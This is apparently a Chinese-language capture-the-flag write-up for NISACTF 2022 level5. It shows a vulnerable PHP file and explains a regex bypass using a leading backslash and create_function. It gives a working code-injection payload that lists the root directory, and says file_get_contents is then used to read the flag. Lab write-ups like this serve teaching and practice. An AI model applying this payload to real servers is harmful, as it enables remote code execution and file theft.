[NISACTF 2022]level-up的level5的wp

<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";

$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
    show_source(__FILE__);
}
else{
    $a('',$b);
}

这道题看了很久没看通，最后看别的师傅的wp感觉打开了新思路

(preg_match('/^[a-z0-9_]*$/isD',$a))

这个表示首字符（^ 表示匹配字符串的起始位置。）不能用a-z或者下划线，所以使用\来绕过
然后$a在else里面可以使用create_function来创建一个匿名函数，在b使用vardump来打印变量中的详情信息，在vardump使用scandir函数来扫描目录然后使用/*来注释掉后面的代码最后的payload

?a=\create_function&b=}var_dump(scandir('/'));/*

接下来在更改scandir为file_get_contents()读取文件的内容并返回其内容作为字符串 读取根目录的flag